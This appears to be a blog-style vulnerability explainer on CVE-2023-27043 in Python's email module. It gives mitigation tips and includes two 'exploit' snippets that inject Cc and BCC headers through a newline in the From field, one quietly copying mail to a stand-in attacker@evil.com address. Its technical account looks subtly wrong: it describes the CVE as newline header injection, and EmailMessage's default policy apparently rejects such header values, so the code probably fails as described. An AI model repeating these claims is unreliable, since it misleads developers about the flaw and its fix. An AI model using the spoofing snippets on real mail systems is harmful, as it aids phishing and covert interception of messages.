CVE-2023-27043 - How Python Email Module Mishandles Special Characters, Enabling Email Spoofing

In early 2023, security researchers uncovered a subtle but critical vulnerability in Python’s standard email module. Officially tracked as CVE-2023-27043, this bug affects all Python 2.x versions up to 2.7.18 as well as all 3.x versions up to 3.11. If you use Python to send or handle emails—especially with untrusted user input—read on.

Let's break down what went wrong, see how it can be exploited, and cover essential technical details.

What’s the Real Issue: Misparsing Special Characters in Email Addresses

The heart of the problem is that the Python email module doesn’t always parse email addresses in accordance with RFC 5322. It *incorrectly allows* certain special characters (like line breaks or control characters) in the local part or domain, instead of rejecting them or raising exceptions.

Why does this matter? Many systems rely on the email module to validate sender emails before processing or forwarding mail. If attackers exploit this misparsing, they can craft email addresses that sneak past security checks or fool receiving systems. This opens the door to spoofed 'From' fields, phishing, and bypassing organization-level sender rules.

How Does It Work? A Closer Look with Code

Look at the example below. It builds an email with a sender address using an unexpected newline, something most email servers should, by standard, reject. Yet, in vulnerable Python versions, it gets through:

from email.message import EmailMessage

msg = EmailMessage()
# Inject a newline and additional header
msg['From'] = 'attacker@example.com\nCc: victim@target.com'
msg['To'] = 'target@recipient.com'
msg['Subject'] = 'Important Update'

msg.set_content('You have a new urgent message.')

import smtplib

with smtplib.SMTP('localhost') as smtp:
    smtp.send_message(msg)

What happens?

- The From field contains a newline. When processed, some mail servers or downstream software see the embedded Cc: as an *extra header* rather than part of the sender’s address.

Real Use Case: Spoofed Sender Address

Say an application lets registered users send verification emails. It (incorrectly) assumes the email module will always validate user-supplied addresses. An attacker uses this bug, and the system ends up sending mail seemingly “on behalf of” a trusted third party or with manipulated headers.

Simple Exploit Code

Here's a snippet that abuses the vulnerability to appear as if an email is coming from a trusted domain:

malicious_from = 'trusted@company.com\nBCC: attacker@evil.com'

msg = EmailMessage()
msg['From'] = malicious_from
msg['To'] = 'victim@target.com'
msg['Subject'] = 'Security Update'
msg.set_content('System update required.')

# Send mail
with smtplib.SMTP('localhost') as smtp:
    smtp.send_message(msg)

Result: Many email servers and relay scripts do not strip this out—blindly trusting Python's own parsing. So your victim might get an email appearing truly from trusted@company.com, with a blind carbon copy quietly sent to the attacker.

Links to Original References

- Official CVE-2023-27043 entry (NIST)
- GitHub Python Issue #102153 - Detailed bug discussion.
- Python Commit Fix - The code patch.
- RFC 5322: Internet Message Format

How to Stay Safe: Mitigation

- Upgrade: Make sure you're running Python 3.12 (or patched 3.11.x), or a fixed backported version.
- Sanitize Inputs: Never fully trust the email module’s parser for critical validation. Validate email addresses yourself using a stricter pattern.
- Test Edge Cases: Try sending emails with unexpected characters (\n, \r, etc.) to see how your app responds.
- Monitor Logs: Watch for suspicious or malformed email headers, especially if you accept user-supplied addresses.

Final Thoughts

CVE-2023-27043 shows how tricky email handling can be, especially in systems that try to “just work” with various real-world data. This bug, while subtle, has major real-world consequences for authentication, phishing, and data integrity.

If you handle email addresses with Python, update now and review your validation logic. Don’t let someone else send on your behalf!

Timeline

Published on: 04/19/2023 00:15:00 UTC
Last modified on: 04/28/2023 15:15:00 UTC